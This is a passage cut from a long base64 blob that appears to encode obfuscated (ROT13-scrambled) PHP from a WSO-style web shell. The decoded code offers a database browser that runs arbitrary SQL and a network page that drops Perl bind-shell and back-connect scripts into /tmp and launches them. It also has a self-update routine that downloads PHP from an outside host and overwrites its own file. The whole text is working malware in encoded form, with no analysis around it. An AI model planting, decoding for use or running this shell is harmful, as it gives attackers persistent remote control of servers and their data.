0xKTwvZnBldmNnPicpOwoJfQoJamZiVXJucXJlKCk7CglycHViICIKPHUxPkZkeSBvZWJqZnJlPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+CjxzYmV6IGFuenI9J2ZzJyB6cmd1YnE9J2NiZmcnIGJhZmhvenZnPSdzZihndXZmKTsnPjxnbm95ciBwcnl5Y25xcXZhdD0nMicgcHJ5eWZjbnB2YXQ9JzAnPjxnZT4KPGdxPkdsY3I8L2dxPjxncT5VYmZnPC9ncT48Z3E+WWJ0dmE8L2dxPjxncT5DbmZmamJlcTwvZ3E+PGdxPlFuZ25vbmZyPC9ncT48Z3E+PC9ncT48L2dlPjxnZT4KPHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9biBpbnlocj1GZHk+PHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9YzEgaW55aHI9J2RocmVsJz48dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1jMiBpbnlocj0nJz48dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1wIGlueWhyPSciLiB1Z3p5ZmNycHZueXB1bmVmKCRUWUJPTllGWydwanEnXSkgLiInPjx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPXB1bmVmcmcgaW55aHI9JyIuICh2ZmZyZygkX0NCRkdbJ3B1bmVmcmcnXSk/JF9DQkZHWydwdW5lZnJnJ106JycpIC4iJz4KPGdxPjxmcnlycGcgYW56cj0nZ2xjcic+PGJjZ3ZiYSBpbnlocj0nemxmZHknICI7CiAgICB2cyhAJF9DQkZHWydnbGNyJ109PSd6bGZkeScpcnB1YiAnZnJ5cnBncnEnOwpycHViICI+WmxGZHk8L2JjZ3ZiYT48YmNndmJhIGlueWhyPSdjdGZkeScgIjsKdnMoQCRfQ0JGR1snZ2xjciddPT0nY3RmZHknKXJwdWIgJ2ZyeXJwZ3JxJzsKcnB1YiAiPkNiZmd0ZXJGZHk8L2JjZ3ZiYT48L2ZyeXJwZz48L2dxPgo8Z3E+PHZhY2hnIGdsY3I9Z3JrZyBhbnpyPWZkeV91YmZnIGlueWhyPVwiIi4gKHJ6Y2dsKCRfQ0JGR1snZmR5X3ViZmcnXSk/J3licG55dWJmZyc6dWd6eWZjcnB2bnlwdW5lZigkX0NCRkdbJ2ZkeV91YmZnJ10pKSAuIlwiPjwvZ3E+CjxncT48dmFjaGcgZ2xjcj1ncmtnIGFuenI9ZmR5X3lidHZhIGlueWhyPVwiIi4gKHJ6Y2dsKCRfQ0JGR1snZmR5X3lidHZhJ10pPydlYmJnJzp1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snZmR5X3lidHZhJ10pKSAuIlwiPjwvZ3E+CjxncT48dmFjaGcgZ2xjcj1ncmtnIGFuenI9ZmR5X2NuZmYgaW55aHI9XCIiLiAocnpjZ2woJF9DQkZHWydmZHlfY25mZiddKT8nJzp1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snZmR5X2NuZmYnXSkpIC4iXCI+PC9ncT48Z3E+IjsKCSRnemMgPSAiPHZhY2hnIGdsY3I9Z3JrZyBhbnpyPWZkeV9vbmZyIGlueWhyPScnPiI7Cgl2cyh2ZmZyZygkX0NCRkdbJ2ZkeV91YmZnJ10pKXsKCQl2cygkcW8tPnBiYWFycGcoJF9DQkZHWydmZHlfdWJmZyddLCAkX0NCRkdbJ2ZkeV95YnR2YSddLCAkX0NCRkdbJ2ZkeV9jbmZmJ10sICRfQ0JGR1snZmR5X29uZnInXSkpIHsKCQkJZmp2Z3B1KCRfQ0JGR1sncHVuZWZyZyddKSB7CgkJCQlwbmZyICJKdmFxYmpmLTEyNTEiOiAkcW8tPmZyZ1B1bmVmcmcoJ3BjMTI1MScpOyBvZXJueDsKCQkJCXBuZnIgIkhHUy04IjogJHFvLT5mcmdQdW5lZnJnKCdoZ3M4Jyk7IG9lcm54OwoJCQkJcG5mciAiWEJWOC1FIjogJHFvLT5mcmdQdW5lZnJnKCd4YnY4ZScpOyBvZXJueDsKCQkJCXBuZnIgIlhCVjgtSCI6ICRxby0+ZnJnUHVuZWZyZygneGJ2OGgnKTsgb2Vybng7CgkJCQlwbmZyICJwYzg2NiI6ICRxby0+ZnJnUHVuZWZyZygncGM4NjYnKTsgb2Vybng7CgkJCX0KCQkJJHFvLT55dmZnUW9mKCk7CgkJCXJwdWIgIjxmcnlycGcgYW56cj1mZHlfb25mcj48YmNndmJhIGlueWhyPScnPjwvYmNndmJhPiI7CgkJCWp1dnlyKCR2Z3J6ID0gJHFvLT5zcmdwdSgpKSB7CgkJCQl5dmZnKCR4cmwsICRpbnlocikgPSBybnB1KCR2Z3J6KTsKCQkJCXJwdWIgJzxiY2d2YmEgaW55aHI9IicuJGlueWhyLiciICcuKCRpbnlocj09JF9DQkZHWydmZHlfb25mciddPydmcnlycGdycSc6JycpLic+Jy4kaW55aHIuJzwvYmNndmJhPic7CgkJCX0KCQkJcnB1YiAnPC9mcnlycGc+JzsKCQl9CgkJcnlmciBycHViICRnemM7Cgl9cnlmcgoJCXJwdWIgJGd6YzsKCXJwdWIgIjwvZ3E+CgkJCQk8Z3E+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSc+PicgYmFweXZweD0nc2YocS5mcyk7Jz48L2dxPgogICAgICAgICAgICAgICAgPGdxPjx2YWNoZyBnbGNyPXB1cnB4b2JrIGFuenI9ZmR5X3BiaGFnIGlueWhyPSdiYSciIC4gKHJ6Y2dsKCRfQ0JGR1snZmR5X3BiaGFnJ10pPycnOicgcHVycHhycScpIC4gIj4gcGJoYWcgZ3VyIGFoem9yZSBicyBlYmpmPC9ncT4KCQkJPC9nZT4KCQk8L2dub3lyPgoJCTxmcGV2Y2c+CiAgICAgICAgICAgIGZfcW89JyIuQG5xcWZ5bmZ1cmYoJF9DQkZHWydmZHlfb25mciddKS4iJzsKICAgICAgICAgICAgc2hhcGd2YmEgc2YocykgewogICAgICAgICAgICAgICAgdnMocy5mZHlfb25mci5pbnlociE9Zl9xbykgeyBzLmJhZmhvenZnID0gc2hhcGd2YmEoKSB7fTsKICAgICAgICAgICAgICAgICAgICB2cyhzLmMxKSBzLmMxLmlueWhyPScnOwogICAgICAgICAgICAgICAgICAgIHZzKHMuYzIpIHMuYzIuaW55aHI9Jyc7CiAgICAgICAgICAgICAgICAgICAgdnMocy5jMykgcy5jMy5pbnlocj0nJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoJCQlzaGFwZ3ZiYSBmZyhnLHkpIHsKCQkJCXEuZnMuYzEuaW55aHIgPSAnZnJ5cnBnJzsKCQkJCXEuZnMuYzIuaW55aHIgPSBnOwogICAgICAgICAgICAgICAgdnMoeSAmJiBxLmZzLmMzKSBxLmZzLmMzLmlueWhyID0geTsKCQkJCXEuZnMuZmhvenZnKCk7CgkJCX0KCQkJc2hhcGd2YmEgdmYoKSB7CgkJCQlzYmUodj0wO3Y8cS5mcy5yeXJ6cmFnZlsnZ295W10nXS55cmF0Z3U7Kyt2KQoJCQkJCXEuZnMucnlyenJhZ2ZbJ2dveVtdJ11bdl0ucHVycHhycSA9ICFxLmZzLnJ5cnpyYWdmWydnb3lbXSddW3ZdLnB1cnB4cnE7CgkJCX0KCQk8L2ZwZXZjZz4iOwoJdnModmZmcmcoJHFvKSAmJiAkcW8tPnl2YXgpewoJCXJwdWIgIjxvZS8+PGdub3lyIGp2cWd1PTEwMCUgcHJ5eWNucXF2YXQ9MiBwcnl5ZmNucHZhdD0wPiI7CgkJCXZzKCFyemNnbCgkX0NCRkdbJ2ZkeV9vbmZyJ10pKXsKCQkJCSRxby0+ZnJ5cnBncW8oJF9DQkZHWydmZHlfb25mciddKTsKCQkJCXJwdWIgIjxnZT48Z3EganZxZ3U9MSBmZ2x5cj0nb2JlcXJlLWdiYzoyY2sgZmJ5dnEgIzY2NjsnPjxmY25hPkdub3lyZjo8L2ZjbmE+PG9lPjxvZT4iOwoJCQkJJGdveWZfZXJmID0gJHFvLT55dmZnR25veXJmKCk7CgkJCQlqdXZ5cigkdmdyeiA9ICRxby0+c3JncHUoJGdveWZfZXJmKSkgewoJCQkJCXl2ZmcoJHhybCwgJGlueWhyKSA9IHJucHUoJHZncnopOwogICAgICAgICAgICAgICAgICAgIHZzKCFyemNnbCgkX0NCRkdbJ2ZkeV9wYmhhZyddKSkKICAgICAgICAgICAgICAgICAgICAgICAgJGEgPSAkcW8tPnNyZ3B1KCRxby0+ZGhyZWwoJ0ZSWVJQRyBQQkhBRygqKSBuZiBhIFNFQlogJy4kaW55aHIuJycpKTsKCQkJCQkkaW55aHIgPSB1Z3p5ZmNycHZueXB1bmVmKCRpbnlocik7CgkJCQkJcnB1YiAiPGFib2U+PHZhY2hnIGdsY3I9J3B1cnB4b2JrJyBhbnpyPSdnb3lbXScgaW55aHI9JyIuJGlueWhyLiInPiZhb2ZjOzxuIHVlcnM9IyBiYXB5dnB4PVwiZmcoJyIuJGlueWhyLiInLDEpXCI+Ii4kaW55aHIuIjwvbj4iIC4gKHJ6Y2dsKCRfQ0JGR1snZmR5X3BiaGFnJ10pPycmYW9mYzsnOiIgPGZ6bnl5Pih7JGFbJ2EnXX0pPC9mem55eT4iKSAuICI8L2Fib2U+PG9lPiI7CgkJCQl9CgkJCQlycHViICI8dmFjaGcgZ2xjcj0ncHVycHhvYmsnIGJhcHl2cHg9J3ZmKCk7Jz4gPHZhY2hnIGdsY3I9b2hnZ2JhIGlueWhyPSdRaHpjJyBiYXB5dnB4PSdxYnBoenJhZy5mcy5jMi5pbnlocj1cInFiamF5Ym5xXCI7cWJwaHpyYWcuZnMuZmhvenZnKCk7Jz48b2U+U3Z5ciBjbmd1Ojx2YWNoZyBnbGNyPWdya2cgYW56cj1zdnlyIGlueWhyPSdxaHpjLmZkeSc+PC9ncT48Z3EgZmdseXI9J29iZXFyZS1nYmM6MmNrIGZieXZxICM2NjY7Jz4iOwoJCQkJdnMoQCRfQ0JGR1snYzEnXSA9PSAnZnJ5cnBnJykgewoJCQkJCSRfQ0JGR1snYzEnXSA9ICdkaHJlbCc7CiAgICAgICAgICAgICAgICAgICAgJF9DQkZHWydjMyddID0gJF9DQkZHWydjMyddPyRfQ0JGR1snYzMnXToxOwoJCQkJCSRxby0+ZGhyZWwoJ0ZSWVJQRyBQQkhBRygqKSBuZiBhIFNFQlogJyAuICRfQ0JGR1snYzInXSk7CgkJCQkJJGFoeiA9ICRxby0+c3JncHUoKTsKCQkJCQkkY250cmYgPSBwcnZ5KCRhaHpbJ2EnXSAvIDMwKTsKICAgICAgICAgICAgICAgICAgICBycHViICI8ZnBldmNnPnEuZnMuYmFmaG96dmc9c2hhcGd2YmEoKXtmZyhcIiIgLiAkX0NCRkdbJ2MyJ10gLiAiXCIsIHEuZnMuYzMuaW55aHIpfTwvZnBldmNnPjxmY25hPiIuJF9DQkZHWydjMiddLiI8L2ZjbmE+ICh7JGFoelsnYSddfSBlcnBiZXFmKSBDbnRyICMgPHZhY2hnIGdsY3I9Z3JrZyBhbnpyPSdjMycgaW55aHI9IiAuICgodmFnKSRfQ0JGR1snYzMnXSkgLiAiPiI7CiAgICAgICAgICAgICAgICAgICAgcnB1YiAiIGJzICRjbnRyZiI7CiAgICAgICAgICAgICAgICAgICAgdnMoJF9DQkZHWydjMyddID4gMSkKICAgICAgICAgICAgICAgICAgICAgICAgcnB1YiAiIDxuIHVlcnM9IyBiYXB5dnB4PSdmZyhcIiIgLiAkX0NCRkdbJ2MyJ10gLiAnIiwgJyAuICgkX0NCRkdbJ2MzJ10tMSkgLiAiKSc+JnlnOyBDZXJpPC9uPiI7CiAgICAgICAgICAgICAgICAgICAgdnMoJF9DQkZHWydjMyddIDwgJGNudHJmKQogICAgICAgICAgICAgICAgICAgICAgICBycHViICIgPG4gdWVycz0jIGJhcHl2cHg9J2ZnKFwiIiAuICRfQ0JGR1snYzInXSAuICciLCAnIC4gKCRfQ0JGR1snYzMnXSsxKSAuICIpJz5BcmtnICZ0Zzs8L24+IjsKICAgICAgICAgICAgICAgICAgICAkX0NCRkdbJ2MzJ10tLTsKCQkJCQl2cygkX0NCRkdbJ2dsY3InXT09J2N0ZmR5JykKCQkJCQkJJF9DQkZHWydjMiddID0gJ0ZSWVJQRyAqIFNFQlogJy4kX0NCRkdbJ2MyJ10uJyBZVlpWRyAzMCBCU1NGUkcgJy4oJF9DQkZHWydjMyddKjMwKTsKCQkJCQlyeWZyCgkJCQkJCSRfQ0JGR1snYzInXSA9ICdGUllSUEcgKiBTRUJaIGAnLiRfQ0JGR1snYzInXS4nYCBZVlpWRyAnLigkX0NCRkdbJ2MzJ10qMzApLicsMzAnOwoJCQkJCXJwdWIgIjxvZT48b2U+IjsKCQkJCX0KCQkJCXZzKChAJF9DQkZHWydjMSddID09ICdkaHJlbCcpICYmICFyemNnbCgkX0NCRkdbJ2MyJ10pKSB7CgkJCQkJJHFvLT5kaHJlbChAJF9DQkZHWydjMiddKTsKCQkJCQl2cygkcW8tPmVyZiAhPT0gc255ZnIpIHsKCQkJCQkJJGd2Z3lyID0gc255ZnI7CgkJCQkJCXJwdWIgJzxnbm95ciBqdnFndT0xMDAlIHByeXlmY25wdmF0PTEgcHJ5eWNucXF2YXQ9MiBweW5mZj16bnZhIGZnbHlyPSJvbnB4dGViaGFxLXBieWJlOiMyOTI5MjkiPic7CgkJCQkJCSR5dmFyID0gMTsKCQkJCQkJanV2eXIoJHZncnogPSAkcW8tPnNyZ3B1KCkpCXsKCQkJCQkJCXZzKCEkZ3ZneXIpCXsKCQkJCQkJCQlycHViICc8Z2U+JzsKCQkJCQkJCQlzYmVybnB1KCR2Z3J6IG5mICR4cmwgPT4gJGlueWhyKQoJCQkJCQkJCQlycHViICc8Z3U+Jy4keHJsLic8L2d1Pic7CgkJCQkJCQkJZXJmcmcoJHZncnopOwoJCQkJCQkJCSRndmd5cj1nZWhyOwoJCQkJCQkJCXJwdWIgJzwvZ2U+PGdlPic7CgkJCQkJCQkJJHl2YXIgPSAyOwoJCQkJCQkJfQoJCQkJCQkJcnB1YiAnPGdlIHB5bmZmPSJ5Jy4keXZhci4nIj4nOwoJCQkJCQkJJHl2YXIgPSAkeXZhcj09MT8yOjE7CgkJCQkJCQlzYmVybnB1KCR2Z3J6IG5mICR4cmwgPT4gJGlueWhyKSB7CgkJCQkJCQkJdnMoJGlueWhyID09IGFoeXkpCgkJCQkJCQkJCXJwdWIgJzxncT48dj5haHl5PC92PjwvZ3E+JzsKCQkJCQkJCQlyeWZyCgkJCQkJCQkJCXJwdWIgJzxncT4nLmF5Mm9lKHVnenlmY3Jwdm55cHVuZWYoJGlueWhyKSkuJzwvZ3E+JzsKCQkJCQkJCX0KCQkJCQkJCXJwdWIgJzwvZ2U+JzsKCQkJCQkJfQoJCQkJCQlycHViICc8L2dub3lyPic7CgkJCQkJfSByeWZyIHsKCQkJCQkJcnB1YiAnPHF2aT48bz5SZWViZTo8L28+ICcudWd6eWZjcnB2bnlwdW5lZigkcW8tPnJlZWJlKCkpLic8L3F2aT4nOwoJCQkJCX0KCQkJCX0KCQkJCXJwdWIgIjxvZT48L3NiZXo+PHNiZXogYmFmaG96dmc9J3EuZnMuYzEuaW55aHI9XCJkaHJlbFwiO3EuZnMuYzIuaW55aHI9Z3V2Zi5kaHJlbC5pbnlocjtxYnBoenJhZy5mcy5maG96dmcoKTtlcmdoZWEgc255ZnI7Jz48Z3JrZ25lcm4gYW56cj0nZGhyZWwnIGZnbHlyPSdqdnFndToxMDAlO3VydnR1ZzoxMDBjayc+IjsKICAgICAgICAgICAgICAgIHZzKCFyemNnbCgkX0NCRkdbJ2MyJ10pICYmICgkX0NCRkdbJ2MxJ10gIT0gJ3libnFzdnlyJykpCiAgICAgICAgICAgICAgICAgICAgcnB1YiB1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snYzInXSk7CiAgICAgICAgICAgICAgICBycHViICI8L2dya2duZXJuPjxvZS8+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSdSa3JwaGdyJz4iOwoJCQkJcnB1YiAiPC9ncT48L2dlPiI7CgkJCX0KCQkJcnB1YiAiPC9nbm95cj48L3NiZXo+PG9lLz4iOwogICAgICAgICAgICB2cygkX0NCRkdbJ2dsY3InXT09J3psZmR5JykgewogICAgICAgICAgICAgICAgJHFvLT5kaHJlbCgiRlJZUlBHIDEgU0VCWiB6bGZkeS5oZnJlIEpVUkVSIHBiYXBuZyhgaGZyZWAsICdAJywgYHViZmdgKSA9IEhGUkUoKSBOQVEgYFN2eXJfY2V2aWAgPSAnbCciKTsKICAgICAgICAgICAgICAgIHZzKCRxby0+c3JncHUoKSkKICAgICAgICAgICAgICAgICAgICBycHViICI8c2JleiBiYWZob3p2Zz0ncS5mcy5jMS5pbnlocj1cInlibnFzdnlyXCI7cWJwaHpyYWcuZnMuYzIuaW55aHI9Z3V2Zi5zLmlueWhyO3FicGh6cmFnLmZzLmZob3p2ZygpO2VyZ2hlYSBzbnlmcjsnPjxmY25hPllibnEgc3Z5cjwvZmNuYT4gPHZhY2hnICBweW5mZj0nZ2JieWZWYWMnIGdsY3I9Z3JrZyBhbnpyPXM+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSc+Pic+PC9zYmV6PiI7CiAgICAgICAgICAgIH0KCQkJdnMoQCRfQ0JGR1snYzEnXSA9PSAneWJucXN2eXInKSB7CgkJCQkkc3Z5ciA9ICRxby0+eWJucVN2eXIoJF9DQkZHWydjMiddKTsKCQkJCXJwdWIgJzxvZS8+PGNlciBweW5mZj16eTE+Jy51Z3p5ZmNycHZueXB1bmVmKCRzdnlyWydzdnlyJ10pLic8L2Nlcj4nOwoJCQl9Cgl9IHJ5ZnIgewogICAgICAgIHJwdWIgdWd6eWZjcnB2bnlwdW5lZigkcW8tPnJlZWJlKCkpOwogICAgfQoJcnB1YiAnPC9xdmk+JzsKCWpmYlNiYmdyZSgpOwp9CnNoYXBndmJhIG5wZ3ZiYUFyZ2piZXgoKSB7CglqZmJVcm5xcmUoKTsKCSRvbnB4X3BiYWFycGdfYz0iVmxSaXFLQWxZMldjb3Y5ak1LV2ZRRGMxcDJIdEgyOXduMkkwQmowWFdUeXVNVEVsQ0p5aE1LRXNMS0Vpb3Z0eERJV1VJeWZqS0Z4dHNVanRNVHl5WFBXU3BhV2lwd2J0V1BTcG92VmNCajBYV1VPdU1URWxDS0FpTDJndU1URWxLMnloWFBFT0h4cUpKbVNxWVBOeG5KU3hNVVZjVlVrOFZURWNNRnR2RUtXbG8zVjZWUER1S1Q0dlhHZkFQdkVqcHo5MG9tMWFNS0VqcHo5MG8yVzVvelNnTUZ0YXFUQWpXbHg3UURjbW8yQWVNS0RiSDA5UUYwSUhZUE9ERXk5V0d4SUhZUE9HRzBBWUsxQUhIeElPR0ZqdFdVT2xvM0VpWEZPOHNQT3huSkhiVnhJbHB6OWxCdk54VklraFZ2eDdRRGN3bzI1aE1KQTBYU0FDRDBnU0lQanRXVU91TVRFbFhGTzhzUE94bkpIYlZ4SWxwejlsQnZOeFZJa2hWdng3UURjaXBUSWhYU0FIRVJ5QllQTnZDdk1HRzBBWUVJRHZYR2ZBUHo5ak1KNGJIMUVSRzFJSFlQTnZDdk1HRzBBWUVJRHZYR2ZBUHo5ak1KNGJIMUVSRUlXRllQTnZDdk1HRzBBWUVJRHZYR2ZBUGFBNXAzRXlvRnRhWTJXY292OW1uUE5nbkZwY0JqMFhMMmtpcDJIYkgxRVJGSDRjQmowWEwya2lwMkhiSDFFUkcxSUhYR2ZBUHpBZm8zQXlYU0FIRVJJRkh2eDciOwoJJG92YXFfY2JlZ19jPSJWbFJpcUtBbFkyV2NvdjlqTUtXZlFEYnhIMHVTR1JqOVZ2OXZuSjRpcDJ0dFlKeHZCajBYbkpMdFhST09IeHFKVlFqdFpGeHRybE95clR5MFhRUmNCbE85UURjMXAySHRIMjl3bjJJMEJqMFhwMjl3bjJJMFhTWmZXeU9USzB5QkVJRGZXeUFDRDBnc0gxRUZFSFNBWVRxeXFVT2xvM0VpTGF5aExKMXlYUHEwTDNOYVhGeHRzVWp0TVR5eVZQV1FMSjUwVlRBbE1KUzBNRk9tbzJBZU1LRXBvdlY3UURjbU1LRW1vMkFlbzNPMFhTWmZIMDlaSzFBQ0QwZ1NJUGtHRzE5RkVJSUdFSFNSRVNWZlpGeDdRRGN2bko1eFhTWmZwMjl3bjJTeE1VV3NuSjRiV1JTRkUxTW9aUzBmRkg1T0VSRUZLMFNCSkZ4Y1ZVazhWVEVjTUZOdkQyU2hxUE9pcFRJaFZVT2lwYUVwb3ZWN1FEY2ZuS0EwTUo0Ykhsam1YRk84c1BPeG5KSHRWeEF1b2FEdG9UeW1xVEloVlVPaXBhRXBvdlY3UURjM25UeWZNRnRrWEZPN1FEYldMSkF3TUtPMFhSQUNHeDRmSGx4N1FEYlduSkxiVkZ0eHBUeXhDSk1pcHpmY1hGTzdRRGJXUEpFY01GTnZEMlNob3o5MFZUTWlwemZ2VlR5elZQdHVNVEl6bko1eU1QTnhwVHl4WEdmQVB0eFdvM095b3ZPR0lSRVdHdmp2Q1BNUUcwNUJWd2ZBUHR4V28zT3lvdk9HSVJFQ0lJRGZWdzR6RDA5Qkd2VjdRRGJXUEo5ak1KNHRIMUVSRUlXRllQVitXeEFDR3g0dkJqMFhQRHl5clRJd1ZQRUdGUklaR1BPOHNQT3huSkh0cFVXY29hRHREMDlCR3ZOdkQyU2hxUE95clRJd3FLRXlWUEVHRlJJWkdTa2hWd2ZBUHR4V0wya2lwMkh0RDA5Qkd3ZkFQdHhXTUt1Y3FQTmpCajBYUEswQVBhMD0iOwoJcnB1YiAiPHUxPkFyZ2piZXggZ2JieWY8L3UxPjxxdmkgcHluZmY9cGJhZ3JhZz4KCTxzYmV6IGFuenI9J2FzYycgYmFGaG96dmc9XCJ0KGFoeXksYWh5eSwnb2NjJyxndXZmLmNiZWcuaW55aHIpO2VyZ2hlYSBzbnlmcjtcIj4KCTxmY25hPk92YXEgY2JlZyBnYiAvb3ZhL2Z1IFtjcmV5XTwvZmNuYT48b2UvPgoJQ2JlZzogPHZhY2hnIGdsY3I9J2dya2cnIGFuenI9J2NiZWcnIGlueWhyPSczMTMzNyc+IDx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj0nPj4nPgoJPC9zYmV6PgoJPHNiZXogYW56cj0nYXNjJyBiYUZob3p2Zz1cInQoYWh5eSxhaHl5LCdvcGMnLGd1dmYuZnJlaXJlLmlueWhyLGd1dmYuY2JlZy5pbnlocik7ZXJnaGVhIHNueWZyO1wiPgoJPGZjbmE+T25weC1wYmFhcnBnICBbY3JleV08L2ZjbmE+PG9lLz4KCUZyZWlyZTogPHZhY2hnIGdsY3I9J2dya2cnIGFuenI9J2ZyZWlyZScgaW55aHI9JyIuICRfRlJFSVJFWydFUlpCR1JfTlFRRSddIC4iJz4gQ2JlZzogPHZhY2hnIGdsY3I9J2dya2cnIGFuenI9J2NiZWcnIGlueWhyPSczMTMzNyc+IDx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj0nPj4nPgoJPC9zYmV6PjxvZT4iOwoJdnModmZmcmcoJF9DQkZHWydjMSddKSkgewoJCXNoYXBndmJhIHBzKCRzLCRnKSB7CgkJCSRqID0gQHNiY3JhKCRzLCJqIikgYmUgQHNoYXBndmJhX3JrdmZnZignc3Z5cl9jaGdfcGJhZ3JhZ2YnKTsKCQkJdnMoJGopewoJCQkJQHNqZXZncigkaixAb25mcjY0X3FycGJxcigkZykpOwoJCQkJQHNweWJmcigkaik7CgkJCX0KCQl9CgkJdnMoJF9DQkZHWydjMSddID09ICdvY2MnKSB7CgkJCXBzKCIvZ3pjL29jLmN5Iiwkb3ZhcV9jYmVnX2MpOwoJCQkkYmhnID0gamZiUmsoImNyZXkgL2d6Yy9vYy5jeSAiLiRfQ0JGR1snYzInXS4iIDE+L3FyaS9haHl5IDI+JjEgJiIpOwogICAgICAgICAgICBmeXJyYygxKTsKCQkJcnB1YiAiPGNlciBweW5mZj16eTE+JGJoZ1xhIi5qZmJSaygiY2YgbmhrIHwgdGVyYyBvYy5jeSIpLiI8L2Nlcj4iOwogICAgICAgICAgICBoYXl2YXgoIi9nemMvb2MuY3kiKTsKCQl9CgkJdnMoJF9DQkZHWydjMSddID09ICdvcGMnKSB7CgkJCXBzKCIvZ3pjL29wLmN5Iiwkb25weF9wYmFhcnBnX2MpOwoJCQkkYmhnID0gamZiUmsoImNyZXkgL2d6Yy9vcC5jeSAiLiRfQ0JGR1snYzInXS4iICIuJF9DQkZHWydjMyddLiIgMT4vcXJpL2FoeXkgMj4mMSAmIik7CiAgICAgICAgICAgIGZ5cnJjKDEpOwoJCQlycHViICI8Y2VyIHB5bmZmPXp5MT4kYmhnXGEiLmpmYlJrKCJjZiBuaGsgfCB0ZXJjIG9wLmN5IikuIjwvY2VyPiI7CiAgICAgICAgICAgIGhheXZheCgiL2d6Yy9vcC5jeSIpOwoJCX0KCX0KCXJwdWIgJzwvcXZpPic7CglqZmJTYmJncmUoKTsKfQoKc2hhcGd2YmEgbnBndmJhSENRbmdyKCkgewoJamZiVXJucXJlKCk7CglycHViICI8dTE+SENxbmdyPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+IjsKCXNoYXBndmJhIHVnZ2NfdHJnX3BiYWdyYWdmKCRoZXkpewoJCSRwYnFyayA9IEBzdnlyX3RyZ19wYmFncmFnZigkaGV5KTsKCQl2cyAocnpjZ2woJHBicXJrKSl7CgkJCSRwdSA9IHBoZXlfdmF2ZygpOwoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfSEVZLCAkaGV5KTsKCQkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1VSTlFSRSwgMCk7IAoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfU0JZWUJKWUJQTkdWQkEsIDEpOwoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRVJHSEVBR0VOQUZTUkUsIDEpOwoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRkZZX0lSRVZTTENSUkUsIDApOwoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRkZZX0lSRVZTTFVCRkcsIDApOwoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfUEJBQVJQR0dWWlJCSEcsIDE1KTsKCQkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0dWWlJCSEcsIDE1KTsKCQkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1BCQlhWUkZSRkZWQkEsZ2Vocik7CgkJCXBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19IRlJFTlRSQUcsICJaYm12eXluLzUuMCAoSnZhcWJqZiBBRyAxMC4wOyBKQko2NDsgZWk6NDMuMCkgVHJweGIvMjAxMDAxMDEgU3ZlcnNiay80My4wIik7CgkJCSRoZXlDbnRyID0gcGhleV9ya3JwKCRwdSk7CgkJCXBoZXlfcHliZnIoJHB1KTsKCQkJZXJnaGVhKCRoZXlDbnRyKTsKCQl9cnlmciB7CgkJCWVyZ2hlYSAkcGJxcms7CgkJfQoJfQoJJGN1YyAgPSB1Z2djX3RyZ19wYmFncmFnZigidWdnYzovL3N2eXJmZ25weC55dmlyLzk2MzgyMzY3czkwNzk4cjk4cTMwczgyMDEyOTYzMTk3LnVneiIpOwoJdnMoIWNlcnRfem5ncHUoIi88XD9jdWMvIiwgJGN1YykpeyBycHViICc8cHJhZ3JlPjxzYmFnIHBieWJlPSJlcnEiPjxjPlstXSBTbnZ5cnEuPC9jPjwvc2JhZz48L3ByYWdyZT4nOyBqZmJTYmJncmUoKTsgcXZyKCk7IH0KCSRhbnpyc3Z5ciA9IG9uZnJhbnpyKF9fU1ZZUl9fKTsKCXZzKGNlcnRfem5ncHUoIi9cLmN1Yy8iLCAkYW56cnN2eXIpKXsKCQljZXJ0X3puZ3B1KCIjKC4qKVwuY3VjIyIsICRhbnpyc3Z5ciwgJGFuenJzdnlyMik7CgkJJGFuenJzdnlyID0gJGFuenJzdnlyMlsxXS4nLmN1Yyc7Cgl9cnlmcnZzKGNlcnRfem5ncHUoIi9cLmN1YzUvIiwgJGFuenJzdnlyKSl7CgkJY2VydF96bmdwdSgiIyguKilcLmN1YzUjIiwgJGFuenJzdnlyLCAkYW56cnN2eXIyKTsKCQkkYW56cnN2eXIgPSAkYW56cnN2eXIyWzFdLicuY3VjNSc7Cgl9cnlmcnZzKGNlcnRfem5ncHUoIi9cLmN1YzcvIiwgJGFuenJzdnlyKSl7CgkJY2VydF96bmdwdSgiIyguKilcLmN1YzcjIiwgJGFuenJzdnlyLCAkYW56cnN2eXIyKTsKCQkkYW56cnN2eXIgPSAkYW56cnN2eXIyWzFdLicuY3VjNyc7Cgl9cnlmcnZzKGNlcnRfem5ncHUoIi9cLmN1Z3p5LyIsICRhbnpyc3Z5cikpewoJCWNlcnRfem5ncHUoIiMoLiopXC5jdWd6eSMiLCAkYW56cnN2eXIsICRhbnpyc3Z5cjIpOwoJCSRhbnpyc3Z5ciA9ICRhbnpyc3Z5cjJbMV0uJy5jdWd6eSc7Cgl9CglzdnlyX2NoZ19wYmFncmFnZigkYW56cnN2eXIsICRjdWMpOwoJcnB1YiAiPHByYWdyZT4uL1FiYXIgITxvZT48L3ByYWdyZT4iOwoJcnB1YiAiPGZwZXZjZz4geWJwbmd2YmEudWVycz0nJGFuenJzdnlyJzsgPC9mcGV2Y2c+IjsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFFUCgpIHsKCXZzKCFAJF9DQkZHWydjMSddKSB7CgkJJG4gPSBuZWVubCgKCQkJImhhbnpyIiA9P